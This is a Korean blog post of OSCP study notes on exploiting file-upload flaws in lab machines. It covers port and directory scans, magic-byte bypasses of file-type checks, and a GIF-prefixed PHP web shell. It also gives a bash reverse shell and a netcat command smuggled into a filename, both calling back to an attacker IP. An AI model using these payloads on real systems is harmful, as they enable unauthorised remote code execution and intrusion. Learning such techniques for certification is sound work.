1. Port Scanning

$ sudo nmap -p- --min-rate 1000 -oA nmap/box1 -v 10.10.11.100
$ sudo nmap -sC -sV -oA nmap/box1 10.10.10.10
 

웹 서버 헤더에서 사용중인 언어 확인 (php 등)

 

 

 

2. Dir Scanning

$ gobuster -u http http://10.10.10.119 -w /usr/share/seclists/Discovery/Web-Content/
Common-PHP-Filenames.txt

$ gobuster dir --u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
-x php
 

 

 

3. curl로 소스 확인

소스에 업로드 가능한 파일 타입이 나와있다.

'image/ '

 

 

 

4. 타겟 서버에서 .php 파일들 내려받을 수 있는 경우

> 한 번에 확인

# grep -Ri '$_' *
 

 

 

5. 소스 내용 중 mime 타입에 대한 내용이 있는 경우

https://developer.mozilla.org/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types

> mime 타입은 magic 넘버로 생성 됨 (GIF89)

# 입력된 데이터에 따른 파일 유형 확인

$ echo "MZPE" > test.txt
$ file test.txt
test.txt: ASCII

$ xxd test.txt
0000000000: 4d5a 5045 0a             MZPE.
    
$ echo ".ELFasasfdhasfk" > test2.txt     >> ELF 파일은 대문자로 작성해야함
$ file test2.txt
test2.txt : ELF

$ python -c 'print "\x7F\x45\x4C\x46"' > test3.txt
$ file test3.txt
test3.txt: ELF

$ xxd test.txt
0000000000: 7f45 4c46 0a             .ELF.


$ python -c 'print "\x00\x420\x31\xc0asdflkjasdfl"' > test4.txt
$ file test4.txt
test4.txt: data


$ python -c 'print "0asdfkljhffff"' > test5.txt
$ file test5.txt
test5.txt: ASCII text


$ echo "GIF8;takudaddy" > test6.txt
$ file test6.txt
test6.txt: GIF image data 12595 X 12959
 

 

> php로 파일 타입을 확인 해보면

# php -a

php > $x = finfo_open(FILEINFO_MIME);
php > $mime = finfo_file($x, /takudaddy/test.txt);
php > echo($mime);
image/gif; charset=us-ascii
 

 

이를 활용한 업로드 시 우회 방법

shell.php.gif

$ cat shell.php.gif
GIF; <?php system($_GET['cmd']); ?>
GIF8; <?php system($_GET['cmd']); ?>
GIF89; <?php system($_GET['cmd']); ?>
 

 

파일명 확장자도 확인해야 하고

파일 내용의 파일 타입도 확인해야 한다.

> 둘 중 하나가 누락되는 경우

에러 메시지가 미묘하게 다르게 출력되는 경우가 있는데

이를 통해 공격이 먹히고 있음을 확인할 수 있음.

 

 

 

 

6. BurpSuite 옵션 변경

버프로 인터셉트가 안 되는 경우

Proxy > Options 들어가 보면

 

Match type에 첫 번째 File extention 클릭 되어있는 경우

이를 체크 해제해야 matching이 된다.

 

 

 

 

7. Code Execution이 되는 경우 리버스 쉘 띄우기

bash -i >& /dev/tcp/10.10.2.4/7979 0>&1
>> url 인코딩 잊지말고!
 
 
 

8. 침투 후 php 파일 있는데 터미널 한계로

읽기 힘든 경우

> base64로 인코딩 후 칼리로 복사해 디코딩 한 뒤 확인

$ base64 -w 0 check_attack.php
 

 

 

9. php 파일 변조시

$ touch -- ';nc -c /bin/bash 10.10.2.4 7979;.php'
 

 

 

10. 입력 값에 띄어 쓰기 후 명령어 입력하면 실행 된다.

x=takudaddy whoami
root
 
 

 

 

11. 시큐어 코딩

php.conf

<FilesMatch ".php$">
    AddHandler php5-script .php
    AddType text/html .php
</FilesMatch>
 
 

 


 

 

 

728x90
반응형

'OSCP > OSCP 공부일지' 카테고리의 다른 글

OSCP 시험 유형 변경 소식  (2) 2021.12.03
ldap + openssl  (0) 2021.11.24
AD 공략 (feat.SMB + Impacket)  (0) 2021.11.24
XXE 공략  (0) 2021.11.23
OSCP 첫 번째 시험 후기 및 계획  (13) 2021.07.01

+ Recent posts